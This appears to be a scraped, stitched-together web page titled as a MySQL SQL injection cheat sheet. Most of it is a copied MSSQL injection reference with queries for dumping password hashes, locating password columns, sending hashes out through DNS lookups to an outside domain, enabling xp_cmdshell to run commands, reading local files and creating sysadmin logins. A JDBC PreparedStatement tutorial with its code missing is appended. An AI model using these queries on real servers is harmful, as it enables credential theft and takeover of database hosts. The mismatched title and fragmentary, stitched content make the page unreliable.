Mysql Sql Injection Cheat Sheet

Posted : admin On 1/29/2022
  1. Mysql Login Sql Injection Cheat Sheet
  2. Mysql Sql Injection Cheat Sheet Excel
  3. Mysql Sql Injection Cheat Sheet Download

Some useful syntax reminders for SQL Injection into MSSQL databases…

9 – SQL Injection Cheat Sheet 1 – What is SQL Injection and Why Is It Bad? SQL Injection is a type of website attack that allows people to run a malicious SQL statement on a database. An SQL injection attack can result in. MySQL Cheat Sheet by Dave Child html, png, pdf (cheatography.com) MySQL cheatsheets by Bob Stein, VisiBone two wall posters 43cmx61cm or 61cmx87cm, jpg (visibone.com) MySQL Cheat Sheet html (nparikh.org) MySQL Database Quick Reference by DeepX pdf (deepX.com) Essential MySQL by W. Jason Gilmore pdf (refcardz.dzone.com).

This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Mysql Sql Injection Cheat Sheet

Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.

VersionSELECT @@version
CommentsSELECT 1 — comment
SELECT /*comment*/1
Current UserSELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List UsersSELECT name FROM master..syslogins
List Password HashesSELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
Password CrackerMSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen drescher can crack these.
List Privileges– current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

–permissions on a user– current privs in 2005, 2008
SELECT is_srvrolemember(‘sysadmin’);
SELECT is_srvrolemember(‘dbcreator’);
SELECT is_srvrolemember(‘bulkadmin’);
SELECT is_srvrolemember(‘diskadmin’);
SELECT is_srvrolemember(‘processadmin’);
SELECT is_srvrolemember(‘serveradmin’);
SELECT is_srvrolemember(‘setupadmin’);
SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;

List DBA AccountsSELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
Current DatabaseSELECT DB_NAME()
List DatabasesSELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List ColumnsSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
List TablesSELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
Find Tables From Column Name– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
Select Nth RowSELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth CharSELECT substring(‘abcd’, 3, 1) — returns c
Bitwise ANDSELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
ASCII Value -> CharSELECT char(0×41) — returns A
Char -> ASCII ValueSELECT ascii(‘A’) – returns 65
CastingSELECT CAST(’1′ as int);
SELECT CAST(1 as char)
String ConcatenationSELECT ‘A’ + ‘B’ – returns AB
If StatementIF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding QuotesSELECT char(65)+char(66) — returns AB
Time Delay WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
Make DNS Requestsdeclare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja
Command ExecutionEXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
Local File AccessCREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’;
DROP TABLE mydata;
Hostname, IP AddressSELECT HOST_NAME()
Create UsersEXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop UsersEXEC sp_droplogin ‘user’; — priv
Make User DBAEXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
Location of DB filesEXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf
Default/System Databasesnorthwind
model
msdb
pubs — not on sql server 2005
tempdb

Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Dan Crowley:
A way to extract data via SQLi with a MySQL backend

From Jeremy Bae:
Tip about sp_helpdb – included in table above.

From Trip:
List DBAs (included in table above now):

Mysql sql injection cheat sheet 2020

select name from master..syslogins where sysadmin = ’1′

From Daniele Costa:
Tips on using fn_my_permissions in 2005, 2008 – included in table above.
Also:
To check permissions on multiple database you will have to use the following pattern.

USE [DBNAME]; select permission_name FROM fn_my_permissions (NULL, ‘DATABASE’)

Note also that in case of using this data with a UNION query a collation error could occur.
In this case a simple trick is to use the following syntax:

select permission_name collate database_default FROM fn_my_permissions (NULL, ‘DATABASE’)

Tags: cheatsheet, mssql, sqlinjection

Posted in SQL Injection

Mysql Login Sql Injection Cheat Sheet


In this tutorial, you will learn how to update data in MySQL database using JDBC PreparedStatement interface.

Mysql Sql Injection Cheat Sheet Excel

The PreparedStatement interface extends the Statement interface that provides some more advanced features as follows:

  • Add parameters into you SQL statement using placeholders in the form of question marks (?). This helps you avoid SQL injection.
  • Reuse the PreparedStatement with new parameters in case you need to execute the SQL statement multiple times with different parameters.
  • Help increase performance of the executed statement by precompiling the SQL statement.

We will use the PreparedStatement to update last names of candidates in the candidates table.

First, you open a connection to MySQL database by reusing the utility class named MySQLJDBCUtil that we developed in the previous tutorial.

Second, you construct a SQL UPDATE statement and create PreparedStatement object by calling the prepareStatement() method of the Connection object. The prepareStatement() method accepts various parameters. In this example, you pass in a string which is a SQL statement.

Notice that there are two question marks (?) as the placeholders for last_name and id fields.

Third, you supply values for the placeholders one-by-one by using setYYY() method of the PreparedStatement interface where YYY is the data type of the placeholder. For example, you want to update last name of candidate with id 100 to William , you can set the values for the placeholders as follows:

Fourth, you send the UPDATE statement with the values for the placeholders to MySQL by calling executeUpdate() method of the PreparedStatement interface. This method takes no arguments and returns the number of row affected.

In case you want to reuse the PreparedStatement , you need to populate new values for the placeholders and call the method executeUpdate() again. For example, if you want to update the last name of candidate with id 101 to Grohe , you can do it as follows:

As always, you should close the PreparedStatement by calling its close() method.

In case you use the try-with-resources statement, you don’t have to explicitly do this. The following illustrates the complete example of using PreparedStatement to update data.

Before executing the program, let’s examine the current candidates with id 100 and 101 in the mysqljdbc database:

The result of the query is as follows:

Oracle sql injection cheat sheet

By executing the Java program above, you will see the following output:

If you execute the SELECT statement again, you will see that the changes have been applied to the candidates table.

It is important to note that you can use any statement such as SELECT, INSERT, DELETE, etc with PreparedStatement interface.

Mysql Sql Injection Cheat Sheet Download

In this tutorial, we have shown you how to update data in MySQL using JDBC PrepareStatement interface.